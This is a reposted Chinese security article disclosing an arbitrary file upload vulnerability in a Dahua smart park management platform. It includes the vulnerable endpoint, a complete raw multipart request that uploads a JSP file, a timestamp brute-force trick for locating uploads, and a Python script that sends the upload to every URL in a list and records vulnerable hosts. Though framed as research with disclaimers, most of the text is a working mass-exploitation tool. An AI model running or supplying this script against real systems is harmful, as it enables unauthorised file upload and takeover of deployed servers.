前言
本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任,本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点。
漏洞描述
某华智慧园区综合管理平台存在漏洞,攻击者可以通过接口任意上传文件,导致系统被攻击与控制。
漏洞复现
第一个点
上传压缩包功能处,存在任意文件上传
文件保存路径为/facePic/yyyy-MM-dd/,例如:/facePic/2023-07-09/,文件名命名规则为时间戳+3位随机数+后缀,例如:20220509071212907,并且在解压文件前就执行了文件写入操作。
所以我们可以直接传一个jsp文件
文件名可以通过爆破上传附近时间点的时间戳+100-999的3位随机数来获取。
第二个点
POST
/emap/devicePoint_addImgIco?hasSubsystem=true
HTTP/1.1
Content-Type
: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
Host
: xx.xx.xx.xx
Accept
: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length
: 243
Connection
: close
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
上传路径:
http://ip:8314/upload/emap/society_new/ico...随机字符串_on.jsp
注:301重定向改变了端口
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')
parser.add_argument('-f',
help
=
'Batch detection file name'
,
type
=
str
)
args = parser.parse_args()
file
= args.f
def
get_url(
file
):
with
open
(
'{}'
.format(
file
),
'r'
,
encoding
=
'utf-8'
)
as
f:
for
i
in
f:
i = i.replace(
'n'
,
''
)
send_req(
"http://"
+i)
def
write_result(
content
):
f =
open
(
"result.txt"
,
"a"
,
encoding
=
"UTF-8"
)
f.write(
'{}n'
.format(
content
))
f.close()
def
send_req(url_check):
print(
'{} runing Check'
.format(url_check))
url
= url_check +
'/emap/devicePoint_addImgIco?hasSubsystem=true'
header = {
'User-Agent'
:
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69'
,
'Content-Type'
:
'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT'
,
'Accept'
:
'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
,
'Connection'
:
'close'
}
data
= (
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTrn"
'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"rn'
"Content-Type: application/octet-streamrn"
"Content-Transfer-Encoding: binaryrn"
"rn"
"123rn"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
)
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(
url
=
url
,headers=header,
data
=
data
,
verify
=
False
,
timeout
=
3
).json()
if
response[
'code'
] ==
1
:
result
=
'{} 存在任意文件上传漏洞! 请访问目标自测:{} n'
.format(url_check,
url_check +
"/upload/emap/society_new/"
+ response[
'data'
])
print(
result
)
write_result(
result
)
time.sleep(
1
)
except
Exception
as
e:
print(e)
pass
if
__name__ ==
'__main__'
:
if
file
is
None
:
print(
'请在当前目录下新建需要检测的url.txt'
)
else
:
get_url(
file
)
工具
使用方法:
- 把需要检测的url放入txt文档中
- 执行 python 脚本 -f url.txt
- 检测出有任意文件上传漏洞的资产会保存在同目录result.txt文件中
原文始发于微信公众号(Max安全研究院):某华智慧园区-任意文件上传PoC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论